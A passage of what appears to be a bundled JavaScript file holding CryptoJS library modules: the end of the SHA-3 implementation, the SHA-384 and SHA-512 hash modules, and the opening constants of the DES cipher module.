laneMsw = lane.high;\n\t var laneLsw = lane.low;\n\t var rhoOffset = RHO_OFFSETS[laneIndex];\n\n\t // Rotate lanes\n\t if (rhoOffset < 32) {\n\t tMsw = (laneMsw << rhoOffset) | (laneLsw >>> (32 - rhoOffset));\n\t tLsw = (laneLsw << rhoOffset) | (laneMsw >>> (32 - rhoOffset));\n\t } else /* if (rhoOffset >= 32) */ {\n\t tMsw = (laneLsw << (rhoOffset - 32)) | (laneMsw >>> (64 - rhoOffset));\n\t tLsw = (laneMsw << (rhoOffset - 32)) | (laneLsw >>> (64 - rhoOffset));\n\t }\n\n\t // Transpose lanes\n\t var TPiLane = T[PI_INDEXES[laneIndex]];\n\t TPiLane.high = tMsw;\n\t TPiLane.low = tLsw;\n\t }\n\n\t // Rho pi at x = y = 0\n\t var T0 = T[0];\n\t var state0 = state[0];\n\t T0.high = state0.high;\n\t T0.low = state0.low;\n\n\t // Chi\n\t for (var x = 0; x < 5; x++) {\n\t for (var y = 0; y < 5; y++) {\n\t // Shortcuts\n\t var laneIndex = x + 5 * y;\n\t var lane = state[laneIndex];\n\t var TLane = T[laneIndex];\n\t var Tx1Lane = T[((x + 1) % 5) + 5 * y];\n\t var Tx2Lane = T[((x + 2) % 5) + 5 * y];\n\n\t // Mix rows\n\t lane.high = TLane.high ^ (~Tx1Lane.high & Tx2Lane.high);\n\t lane.low = TLane.low ^ (~Tx1Lane.low & Tx2Lane.low);\n\t }\n\t }\n\n\t // Iota\n\t var lane = state[0];\n\t var roundConstant = ROUND_CONSTANTS[round];\n\t lane.high ^= roundConstant.high;\n\t lane.low ^= roundConstant.low;\n\t }\n\t },\n\n\t _doFinalize: function () {\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\t var nBitsTotal = this._nDataBytes * 8;\n\t var nBitsLeft = data.sigBytes * 8;\n\t var blockSizeBits = this.blockSize * 32;\n\n\t // Add padding\n\t dataWords[nBitsLeft >>> 5] |= 0x1 << (24 - nBitsLeft % 32);\n\t dataWords[((Math.ceil((nBitsLeft + 1) / blockSizeBits) * blockSizeBits) >>> 5) - 1] |= 0x80;\n\t data.sigBytes = dataWords.length * 4;\n\n\t // Hash final blocks\n\t this._process();\n\n\t // Shortcuts\n\t var state = this._state;\n\t var outputLengthBytes = this.cfg.outputLength / 8;\n\t var outputLengthLanes = outputLengthBytes / 8;\n\n\t // Squeeze\n\t var hashWords = [];\n\t for (var i = 0; i < outputLengthLanes; i++) {\n\t // Shortcuts\n\t var lane = state[i];\n\t var laneMsw = lane.high;\n\t var laneLsw = lane.low;\n\n\t // Swap endian\n\t laneMsw = (\n\t (((laneMsw << 8) | (laneMsw >>> 24)) & 0x00ff00ff) |\n\t (((laneMsw << 24) | (laneMsw >>> 8)) & 0xff00ff00)\n\t );\n\t laneLsw = (\n\t (((laneLsw << 8) | (laneLsw >>> 24)) & 0x00ff00ff) |\n\t (((laneLsw << 24) | (laneLsw >>> 8)) & 0xff00ff00)\n\t );\n\n\t // Squeeze state to retrieve hash\n\t hashWords.push(laneLsw);\n\t hashWords.push(laneMsw);\n\t }\n\n\t // Return final computed hash\n\t return new WordArray.init(hashWords, outputLengthBytes);\n\t },\n\n\t clone: function () {\n\t var clone = Hasher.clone.call(this);\n\n\t var state = clone._state = this._state.slice(0);\n\t for (var i = 0; i < 25; i++) {\n\t state[i] = state[i].clone();\n\t }\n\n\t return clone;\n\t }\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA3('message');\n\t * var hash = CryptoJS.SHA3(wordArray);\n\t */\n\t C.SHA3 = Hasher._createHelper(SHA3);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA3(message, key);\n\t */\n\t C.HmacSHA3 = Hasher._createHmacHelper(SHA3);\n\t}(Math));\n\n\n\treturn CryptoJS.SHA3;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./x64-core\"), require(\"./sha512\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./x64-core\", \"./sha512\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_x64 = C.x64;\n\t var X64Word = C_x64.Word;\n\t var X64WordArray = C_x64.WordArray;\n\t var C_algo = C.algo;\n\t var SHA512 = C_algo.SHA512;\n\n\t /**\n\t * SHA-384 hash algorithm.\n\t */\n\t var SHA384 = C_algo.SHA384 = SHA512.extend({\n\t _doReset: function () {\n\t this._hash = new X64WordArray.init([\n\t new X64Word.init(0xcbbb9d5d, 0xc1059ed8), new X64Word.init(0x629a292a, 0x367cd507),\n\t new X64Word.init(0x9159015a, 0x3070dd17), new X64Word.init(0x152fecd8, 0xf70e5939),\n\t new X64Word.init(0x67332667, 0xffc00b31), new X64Word.init(0x8eb44a87, 0x68581511),\n\t new X64Word.init(0xdb0c2e0d, 0x64f98fa7), new X64Word.init(0x47b5481d, 0xbefa4fa4)\n\t ]);\n\t },\n\n\t _doFinalize: function () {\n\t var hash = SHA512._doFinalize.call(this);\n\n\t hash.sigBytes -= 16;\n\n\t return hash;\n\t }\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA384('message');\n\t * var hash = CryptoJS.SHA384(wordArray);\n\t */\n\t C.SHA384 = SHA512._createHelper(SHA384);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA384(message, key);\n\t */\n\t C.HmacSHA384 = SHA512._createHmacHelper(SHA384);\n\t}());\n\n\n\treturn CryptoJS.SHA384;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./x64-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./x64-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var Hasher = C_lib.Hasher;\n\t var C_x64 = C.x64;\n\t var X64Word = C_x64.Word;\n\t var X64WordArray = C_x64.WordArray;\n\t var C_algo = C.algo;\n\n\t function X64Word_create() {\n\t return X64Word.create.apply(X64Word, arguments);\n\t }\n\n\t // Constants\n\t var K = [\n\t X64Word_create(0x428a2f98, 0xd728ae22), X64Word_create(0x71374491, 0x23ef65cd),\n\t X64Word_create(0xb5c0fbcf, 0xec4d3b2f), X64Word_create(0xe9b5dba5, 0x8189dbbc),\n\t X64Word_create(0x3956c25b, 0xf348b538), X64Word_create(0x59f111f1, 0xb605d019),\n\t X64Word_create(0x923f82a4, 0xaf194f9b), X64Word_create(0xab1c5ed5, 0xda6d8118),\n\t X64Word_create(0xd807aa98, 0xa3030242), X64Word_create(0x12835b01, 0x45706fbe),\n\t X64Word_create(0x243185be, 0x4ee4b28c), X64Word_create(0x550c7dc3, 0xd5ffb4e2),\n\t X64Word_create(0x72be5d74, 0xf27b896f), X64Word_create(0x80deb1fe, 0x3b1696b1),\n\t X64Word_create(0x9bdc06a7, 0x25c71235), X64Word_create(0xc19bf174, 0xcf692694),\n\t X64Word_create(0xe49b69c1, 0x9ef14ad2), X64Word_create(0xefbe4786, 0x384f25e3),\n\t X64Word_create(0x0fc19dc6, 0x8b8cd5b5), X64Word_create(0x240ca1cc, 0x77ac9c65),\n\t X64Word_create(0x2de92c6f, 0x592b0275), X64Word_create(0x4a7484aa, 0x6ea6e483),\n\t X64Word_create(0x5cb0a9dc, 0xbd41fbd4), X64Word_create(0x76f988da, 0x831153b5),\n\t X64Word_create(0x983e5152, 0xee66dfab), X64Word_create(0xa831c66d, 0x2db43210),\n\t X64Word_create(0xb00327c8, 0x98fb213f), X64Word_create(0xbf597fc7, 0xbeef0ee4),\n\t X64Word_create(0xc6e00bf3, 0x3da88fc2), X64Word_create(0xd5a79147, 0x930aa725),\n\t X64Word_create(0x06ca6351, 0xe003826f), X64Word_create(0x14292967, 0x0a0e6e70),\n\t X64Word_create(0x27b70a85, 0x46d22ffc), X64Word_create(0x2e1b2138, 0x5c26c926),\n\t X64Word_create(0x4d2c6dfc, 0x5ac42aed), X64Word_create(0x53380d13, 0x9d95b3df),\n\t X64Word_create(0x650a7354, 0x8baf63de), X64Word_create(0x766a0abb, 0x3c77b2a8),\n\t X64Word_create(0x81c2c92e, 0x47edaee6), X64Word_create(0x92722c85, 0x1482353b),\n\t X64Word_create(0xa2bfe8a1, 0x4cf10364), X64Word_create(0xa81a664b, 0xbc423001),\n\t X64Word_create(0xc24b8b70, 0xd0f89791), X64Word_create(0xc76c51a3, 0x0654be30),\n\t X64Word_create(0xd192e819, 0xd6ef5218), X64Word_create(0xd6990624, 0x5565a910),\n\t X64Word_create(0xf40e3585, 0x5771202a), X64Word_create(0x106aa070, 0x32bbd1b8),\n\t X64Word_create(0x19a4c116, 0xb8d2d0c8), X64Word_create(0x1e376c08, 0x5141ab53),\n\t X64Word_create(0x2748774c, 0xdf8eeb99), X64Word_create(0x34b0bcb5, 0xe19b48a8),\n\t X64Word_create(0x391c0cb3, 0xc5c95a63), X64Word_create(0x4ed8aa4a, 0xe3418acb),\n\t X64Word_create(0x5b9cca4f, 0x7763e373), X64Word_create(0x682e6ff3, 0xd6b2b8a3),\n\t X64Word_create(0x748f82ee, 0x5defb2fc), X64Word_create(0x78a5636f, 0x43172f60),\n\t X64Word_create(0x84c87814, 0xa1f0ab72), X64Word_create(0x8cc70208, 0x1a6439ec),\n\t X64Word_create(0x90befffa, 0x23631e28), X64Word_create(0xa4506ceb, 0xde82bde9),\n\t X64Word_create(0xbef9a3f7, 0xb2c67915), X64Word_create(0xc67178f2, 0xe372532b),\n\t X64Word_create(0xca273ece, 0xea26619c), X64Word_create(0xd186b8c7, 0x21c0c207),\n\t X64Word_create(0xeada7dd6, 0xcde0eb1e), X64Word_create(0xf57d4f7f, 0xee6ed178),\n\t X64Word_create(0x06f067aa, 0x72176fba), X64Word_create(0x0a637dc5, 0xa2c898a6),\n\t X64Word_create(0x113f9804, 0xbef90dae), X64Word_create(0x1b710b35, 0x131c471b),\n\t X64Word_create(0x28db77f5, 0x23047d84), X64Word_create(0x32caab7b, 0x40c72493),\n\t X64Word_create(0x3c9ebe0a, 0x15c9bebc), X64Word_create(0x431d67c4, 0x9c100d4c),\n\t X64Word_create(0x4cc5d4be, 0xcb3e42b6), X64Word_create(0x597f299c, 0xfc657e2a),\n\t X64Word_create(0x5fcb6fab, 0x3ad6faec), X64Word_create(0x6c44198c, 0x4a475817)\n\t ];\n\n\t // Reusable objects\n\t var W = [];\n\t (function () {\n\t for (var i = 0; i < 80; i++) {\n\t W[i] = X64Word_create();\n\t }\n\t }());\n\n\t /**\n\t * SHA-512 hash algorithm.\n\t */\n\t var SHA512 = C_algo.SHA512 = Hasher.extend({\n\t _doReset: function () {\n\t this._hash = new X64WordArray.init([\n\t new X64Word.init(0x6a09e667, 0xf3bcc908), new X64Word.init(0xbb67ae85, 0x84caa73b),\n\t new X64Word.init(0x3c6ef372, 0xfe94f82b), new X64Word.init(0xa54ff53a, 0x5f1d36f1),\n\t new X64Word.init(0x510e527f, 0xade682d1), new X64Word.init(0x9b05688c, 0x2b3e6c1f),\n\t new X64Word.init(0x1f83d9ab, 0xfb41bd6b), new X64Word.init(0x5be0cd19, 0x137e2179)\n\t ]);\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcuts\n\t var H = this._hash.words;\n\n\t var H0 = H[0];\n\t var H1 = H[1];\n\t var H2 = H[2];\n\t var H3 = H[3];\n\t var H4 = H[4];\n\t var H5 = H[5];\n\t var H6 = H[6];\n\t var H7 = H[7];\n\n\t var H0h = H0.high;\n\t var H0l = H0.low;\n\t var H1h = H1.high;\n\t var H1l = H1.low;\n\t var H2h = H2.high;\n\t var H2l = H2.low;\n\t var H3h = H3.high;\n\t var H3l = H3.low;\n\t var H4h = H4.high;\n\t var H4l = H4.low;\n\t var H5h = H5.high;\n\t var H5l = H5.low;\n\t var H6h = H6.high;\n\t var H6l = H6.low;\n\t var H7h = H7.high;\n\t var H7l = H7.low;\n\n\t // Working variables\n\t var ah = H0h;\n\t var al = H0l;\n\t var bh = H1h;\n\t var bl = H1l;\n\t var ch = H2h;\n\t var cl = H2l;\n\t var dh = H3h;\n\t var dl = H3l;\n\t var eh = H4h;\n\t var el = H4l;\n\t var fh = H5h;\n\t var fl = H5l;\n\t var gh = H6h;\n\t var gl = H6l;\n\t var hh = H7h;\n\t var hl = H7l;\n\n\t // Rounds\n\t for (var i = 0; i < 80; i++) {\n\t var Wil;\n\t var Wih;\n\n\t // Shortcut\n\t var Wi = W[i];\n\n\t // Extend message\n\t if (i < 16) {\n\t Wih = Wi.high = M[offset + i * 2] | 0;\n\t Wil = Wi.low = M[offset + i * 2 + 1] | 0;\n\t } else {\n\t // Gamma0\n\t var gamma0x = W[i - 15];\n\t var gamma0xh = gamma0x.high;\n\t var gamma0xl = gamma0x.low;\n\t var gamma0h = ((gamma0xh >>> 1) | (gamma0xl << 31)) ^ ((gamma0xh >>> 8) | (gamma0xl << 24)) ^ (gamma0xh >>> 7);\n\t var gamma0l = ((gamma0xl >>> 1) | (gamma0xh << 31)) ^ ((gamma0xl >>> 8) | (gamma0xh << 24)) ^ ((gamma0xl >>> 7) | (gamma0xh << 25));\n\n\t // Gamma1\n\t var gamma1x = W[i - 2];\n\t var gamma1xh = gamma1x.high;\n\t var gamma1xl = gamma1x.low;\n\t var gamma1h = ((gamma1xh >>> 19) | (gamma1xl << 13)) ^ ((gamma1xh << 3) | (gamma1xl >>> 29)) ^ (gamma1xh >>> 6);\n\t var gamma1l = ((gamma1xl >>> 19) | (gamma1xh << 13)) ^ ((gamma1xl << 3) | (gamma1xh >>> 29)) ^ ((gamma1xl >>> 6) | (gamma1xh << 26));\n\n\t // W[i] = gamma0 + W[i - 7] + gamma1 + W[i - 16]\n\t var Wi7 = W[i - 7];\n\t var Wi7h = Wi7.high;\n\t var Wi7l = Wi7.low;\n\n\t var Wi16 = W[i - 16];\n\t var Wi16h = Wi16.high;\n\t var Wi16l = Wi16.low;\n\n\t Wil = gamma0l + Wi7l;\n\t Wih = gamma0h + Wi7h + ((Wil >>> 0) < (gamma0l >>> 0) ? 1 : 0);\n\t Wil = Wil + gamma1l;\n\t Wih = Wih + gamma1h + ((Wil >>> 0) < (gamma1l >>> 0) ? 1 : 0);\n\t Wil = Wil + Wi16l;\n\t Wih = Wih + Wi16h + ((Wil >>> 0) < (Wi16l >>> 0) ? 1 : 0);\n\n\t Wi.high = Wih;\n\t Wi.low = Wil;\n\t }\n\n\t var chh = (eh & fh) ^ (~eh & gh);\n\t var chl = (el & fl) ^ (~el & gl);\n\t var majh = (ah & bh) ^ (ah & ch) ^ (bh & ch);\n\t var majl = (al & bl) ^ (al & cl) ^ (bl & cl);\n\n\t var sigma0h = ((ah >>> 28) | (al << 4)) ^ ((ah << 30) | (al >>> 2)) ^ ((ah << 25) | (al >>> 7));\n\t var sigma0l = ((al >>> 28) | (ah << 4)) ^ ((al << 30) | (ah >>> 2)) ^ ((al << 25) | (ah >>> 7));\n\t var sigma1h = ((eh >>> 14) | (el << 18)) ^ ((eh >>> 18) | (el << 14)) ^ ((eh << 23) | (el >>> 9));\n\t var sigma1l = ((el >>> 14) | (eh << 18)) ^ ((el >>> 18) | (eh << 14)) ^ ((el << 23) | (eh >>> 9));\n\n\t // t1 = h + sigma1 + ch + K[i] + W[i]\n\t var Ki = K[i];\n\t var Kih = Ki.high;\n\t var Kil = Ki.low;\n\n\t var t1l = hl + sigma1l;\n\t var t1h = hh + sigma1h + ((t1l >>> 0) < (hl >>> 0) ? 1 : 0);\n\t var t1l = t1l + chl;\n\t var t1h = t1h + chh + ((t1l >>> 0) < (chl >>> 0) ? 1 : 0);\n\t var t1l = t1l + Kil;\n\t var t1h = t1h + Kih + ((t1l >>> 0) < (Kil >>> 0) ? 1 : 0);\n\t var t1l = t1l + Wil;\n\t var t1h = t1h + Wih + ((t1l >>> 0) < (Wil >>> 0) ? 1 : 0);\n\n\t // t2 = sigma0 + maj\n\t var t2l = sigma0l + majl;\n\t var t2h = sigma0h + majh + ((t2l >>> 0) < (sigma0l >>> 0) ? 1 : 0);\n\n\t // Update working variables\n\t hh = gh;\n\t hl = gl;\n\t gh = fh;\n\t gl = fl;\n\t fh = eh;\n\t fl = el;\n\t el = (dl + t1l) | 0;\n\t eh = (dh + t1h + ((el >>> 0) < (dl >>> 0) ? 1 : 0)) | 0;\n\t dh = ch;\n\t dl = cl;\n\t ch = bh;\n\t cl = bl;\n\t bh = ah;\n\t bl = al;\n\t al = (t1l + t2l) | 0;\n\t ah = (t1h + t2h + ((al >>> 0) < (t1l >>> 0) ? 1 : 0)) | 0;\n\t }\n\n\t // Intermediate hash value\n\t H0l = H0.low = (H0l + al);\n\t H0.high = (H0h + ah + ((H0l >>> 0) < (al >>> 0) ? 1 : 0));\n\t H1l = H1.low = (H1l + bl);\n\t H1.high = (H1h + bh + ((H1l >>> 0) < (bl >>> 0) ? 1 : 0));\n\t H2l = H2.low = (H2l + cl);\n\t H2.high = (H2h + ch + ((H2l >>> 0) < (cl >>> 0) ? 1 : 0));\n\t H3l = H3.low = (H3l + dl);\n\t H3.high = (H3h + dh + ((H3l >>> 0) < (dl >>> 0) ? 1 : 0));\n\t H4l = H4.low = (H4l + el);\n\t H4.high = (H4h + eh + ((H4l >>> 0) < (el >>> 0) ? 1 : 0));\n\t H5l = H5.low = (H5l + fl);\n\t H5.high = (H5h + fh + ((H5l >>> 0) < (fl >>> 0) ? 1 : 0));\n\t H6l = H6.low = (H6l + gl);\n\t H6.high = (H6h + gh + ((H6l >>> 0) < (gl >>> 0) ? 1 : 0));\n\t H7l = H7.low = (H7l + hl);\n\t H7.high = (H7h + hh + ((H7l >>> 0) < (hl >>> 0) ? 1 : 0));\n\t },\n\n\t _doFinalize: function () {\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\n\t var nBitsTotal = this._nDataBytes * 8;\n\t var nBitsLeft = data.sigBytes * 8;\n\n\t // Add padding\n\t dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t dataWords[(((nBitsLeft + 128) >>> 10) << 5) + 30] = Math.floor(nBitsTotal / 0x100000000);\n\t dataWords[(((nBitsLeft + 128) >>> 10) << 5) + 31] = nBitsTotal;\n\t data.sigBytes = dataWords.length * 4;\n\n\t // Hash final blocks\n\t this._process();\n\n\t // Convert hash to 32-bit word array before returning\n\t var hash = this._hash.toX32();\n\n\t // Return final computed hash\n\t return hash;\n\t },\n\n\t clone: function () {\n\t var clone = Hasher.clone.call(this);\n\t clone._hash = this._hash.clone();\n\n\t return clone;\n\t },\n\n\t blockSize: 1024/32\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA512('message');\n\t * var hash = CryptoJS.SHA512(wordArray);\n\t */\n\t C.SHA512 = Hasher._createHelper(SHA512);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA512(message, key);\n\t */\n\t C.HmacSHA512 = Hasher._createHmacHelper(SHA512);\n\t}());\n\n\n\treturn CryptoJS.SHA512;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./enc-base64\"), require(\"./md5\"), require(\"./evpkdf\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./enc-base64\", \"./md5\", \"./evpkdf\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var BlockCipher = C_lib.BlockCipher;\n\t var C_algo = C.algo;\n\n\t // Permuted Choice 1 constants\n\t var PC1 = [\n\t 57, 49, 41, 33, 25, 17, 9, 1,\n\t 58, 50, 42, 34, 26, 18, 10, 2,\n\t 59, 51, 43, 35, 27, 19, 11, 3,\n\t 60, 52, 44, 36, 63, 55, 47, 39,\n\t 31, 23, 15, 7, 62, 54, 46, 38,\n\t 30, 22, 14, 6, 61, 53, 45, 37,\n\t 29, 21, 13, 5, 28, 20, 12, 4\n\t ];\n\n\t // Permuted Choice 2 constants\n\t var PC2 = [\n\t 14, 17, 11, 24, 1, 5,\n\t 3, 28, 15, 6, 21, 10,\n\t 23, 19, 12, 4, 26, 8,\n\t 16, 7, 27, 20, 13, 2,\n\t 41, 52, 31, 37, 47, 55,\n\t 30, 40, 51, 45, 33, 48,\n\t 44, 49, 39, 56, 34, 53,\n\t 46, 42, 50, 36, 29, 32\n\t ];\n\n\t // Cumulative bit shift constants\n\t var BIT_SHIFTS = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28];\n\n\t // SBOXes and round permutation constants\n\t var SBOX_P = [\n\t {\n\t 0x0: 0x808200,\n\t 0x10000000: 0x8000,\n\t 0x20000000: 0x808002,\n\t 0x30000000: 0x2,\n\t 0x40000000: 0x200,\n\t 0x50000000: 0x808202,\n\t 0x60000000: 0x800202,\n\t 0x70000000: 0x800000,\n\t 0x80000000: 0x202,\n\t 0x90000000: 0x800200,\n\t 0xa0000000: 0x8200,\n\t 0xb0000000: 0x808000,\n\t 0xc0000000: 0x8002,\n\t 0xd0000000: 0x800002,\n\t 0xe0000000: 0x0,\n\t 0xf0000000: 0x8202,\n\t 0x8000000: 0x0,\n\t 0x18000000: 0x808202,\n\t 0x28000000: 0x8202,\n\t 0x38000000: 0x8000,\n\t 0x48000000: 0x808200,\n\t 0x58000000: 0x200,\n\t 0x68000000: 0x808002,\n\t 0x78000000: 0x2,\n\t 0x88000000: 0x800200,\n\t 0x98000000: 0x8200,\n\t 0xa8000000: 0x808000,\n\t 0xb8000000: 0x800202,\n\t 0xc8000000: 0x800002,\n\t 0xd8000000: 0x8002,\n\t 0xe8000000: 0x202,\n\t 0xf8000000: 0x800000,\n\t 0x1: 0x8000,\n\t 0x10000001: 0x2,\n\t 0x20000001: 0x808200,\n\t 0x30000001: 0x800000,\n\t 0x40000001: 0x808002,\n\t 0x50000001: 0x8200,\n\t 0x60000001: 0x200,\n\t 0x70000001: 0x800202,\n\t 0x80000001: 0x808202,\n\t 0x90000001: 0x808000,\n\t 0xa0000001: 0x800002,\n\t 0xb0000001: 0x8202,\n\t 0xc0000001: 0x202,\n\t 0xd0000001: 0x800200,\n\t 0xe0000001: 0x8002,\n\t 0xf0000001: 0x0,\n\t 0x8000001: 0x808202,\n\t 0x18000001: 0x808000,\n\t 0x28000001: 0x800000,\n\t 0x38000001: 0x200,\n\t 0x48000001: 0x8000,\n\t 0x58000001: 0x800002,\n\t 0x68000001: 0x2,\n\t 0x78000001: 0x8202,\n\t 0x88000001: 0x8002,\n\t 0x98000001: 0x800202,\n\t 0xa8000001: 0x202,\n\t 0xb8000001: 0x808200,\n\t 0xc8000001: 0x800200,\n\t 0xd8000001: 0x0,\n\t 0xe8000001: 0x8200,\n\t 0xf8000001: 0x808002\n\t },\n\t {\n\t 0x0: 0x40084010,\n\t 0x1000000: 0x4000,\n\t 0x2000000: 0x80000,\n\t 0x3000000: 0x40080010,\n\t 0x4000000: 0x40000010,\n\t 0x5000000: 0x40084000,\n\t 0x6000000: 0x40004000,\n\t 0x7000000: 0x10,\n\t 0x8000000: 0x84000,\n\t 0x9000000: 0x40004010,\n\t 0xa000000: 0x40000000,\n\t 0xb000000: 0x84010,\n\t 0xc000000: 0x80010,\n\t 0xd000000: 0x0,\n\t 0xe000000: 0x4010,\n\t 0xf000000: 0x40080000,\n\t 0x800000: 0x40004000,\n\t 0x1800000: 0x84010,\n\t 0x2800000: 0x10,\n\t 0x3800000: 0x40004010,\n\t 0x4800000: 0x40084010,\n\t 0x5800000: 0x40000000,\n\t 0x6800000: 0x80000,\n\t 0x7800000: 0x40080010,\n\t 0x8800000: 0x80010,\n\t 0x9800000: 0x0,\n\t 0xa800000: 0x4000,\n\t 0xb800000: 0x40080000,\n\t 0xc800000: 0x40000010,\n\t 0xd800000: 0x84000,\n\t 0xe800000: 0x40084000,\n\t 0xf800000: 0x4010,\n\t 0x10000000: 0x0,\n\t 0x11000000: 0x40080010,\n\t 0x12000000: 0x40004010,\n\t 0x13000000: 0x40084000,\n\t 0x14000000: 0x40080000,\n\t 0x15000000: 0x10,\n\t 0x16000000: 0x84010,\n\t 0x17000000: 0x4000,\n\t 0x18000000: 0x4010,\n\t 0x19000000: 0x80000,\n\t 0x1a000000: 0x80010,\n\t 0x1b000000: 0x40000010,\n\t 0x1c000000: 0x84000,\n\t 0x1d000000: 0x40004000,\n\t 0x1e000000: 0x40000000,\n\t 0x1f000000: 0x40084010,\n\t 0x10800000: 0x84010,\n\t 0x11800000: 0x80000,\n\t 0x12800000: 0x40080000,\n\t 0x13800000: 0x4000,\n\t 0x14800000: 0x40004000,\n\t 0x15800000: 0x40084010,\n\t 0x16800000: 0x10,\n\t 0x17800000: 0x40000000,\n\t 0x18800000: 0x40084000,\n\t 0x19800000: 0x40000010,\n\t 0x1a800000: 0x40004010,\n\t 0x1b800000: 0x80010,\n\t 0x1c800000: 0x0,\n\t 0x1d800000: 0x4010,\n\t 0x1e800000: 0x40080010,\n\t 0x1f800000: 0x84000\n\t },\n\t {\n\t 0x0: 0x104,\n\t 0x100000: 0x0,\n\t 0x200000: 0x4000100,\n\t 0x300000: 0x10104,\n\t 0x400000: 0x10004,\n\t 0x500000: 0x4000004,\n\t 0x600000: 0x4010104,\n\t 0x700000: 0x4010000,\n\t 0x800000: 0x4000000,\n\t 0x900000: 0x4010100,\n\t 0xa00000: 0x10100,\n\t 0xb00000: 0x4010004,\n\t 0xc00000: 0x4000104,\n\t 0xd00000: 0x10000,\n\t 0xe00000: 0x4,\n\t 0xf00000: 0x100,\n\t 0x80000: 0x4010100,\n\t 0x180000: 0x4010004,\n\t 0x280000: 0x0,\n\t 0x380000: 0x4000100,\n\t 0x480000: 0x4000004,\n\t 0x580000: 0x10000,\n\t 0x680000: 0x10004,\n\t 0x780000: 0x104,\n\t 0x880000: 0x4,\n\t 0x980000: 0x100,\n\t 0xa80000: 0x4010000,\n\t 0xb80000: 0x10104,\n\t 0xc80000: 0x10100,\n\t 0xd80000: 0x4000104,\n\t 0xe80000: 0x4010104,\n\t 0xf80000: 0x4000000,\n\t 0x1000000: 0x4010100,\n\t 0x1100000: 0x10004,\n\t 0x1200000: 0x10000,\n\t 0x1300000: 0x4000100,\n\t 0x1400000: 0x100,\n\t 0x1500000: 0x4010104,\n\t 0x1600000: 0x4000004,\n\t 0x1700000: 0x0,\n\t 0x1800000: 0x4000104,\n\t 0x1900000: 0x4000000,\n\t 0x1a00000: 0x4,\n\t 0x1b00000: 0x10100,\n\t 0x1c00000: 0x4010000,\n\t 0x1d00000: 0x104,\n\t 0x1e00000: 0x10104,\n\t 0x1f00000: 0x4010004,\n\t 0x1080000: 0x4000000,\n\t 0x1180000: 0x104,\n\t 0x1280000: 0x4010100,\n\t 0x1380000: 0x0,\n\t 0x1480000: 0x10004,\n\t 0x1580000: 0x4000100,\n\t 0x1680000: 0x100,\n\t 0x1780000: 0x4010004,\n\t 0x1880000: 0x10000,\n\t 0x1980000: 0x4010104,\n\t 0x1a80000: 0x10104,\n\t 0x1b80000: 0x4000004,\n\t 0x1c80000: 0x4000104,\n\t 0x1d80000: 0x4010000,\n\t 0x1e80000: 0x4,\n\t 0x1f80000: 0x10100\n\t },\n\t {\n\t 0x0: 0x80401000,\n\t 0x10000: 0x80001040,\n\t 0x20000: 0x401040,\n\t 0x30000: 0x80400000,\n\t 0x40000: 0x0,\n\t 0x50000: 0x401000,\n\t 0x60000: 0x80000040,\n\t 0x70000: 0x400040,\n\t 0x80000: 0x80000000,\n\t 0x90000: 0x400000,\n\t 0xa0000: 0x40,\n\t 0xb0000: 0x80001000,\n\t 0xc0000: 0x80400040,\n\t 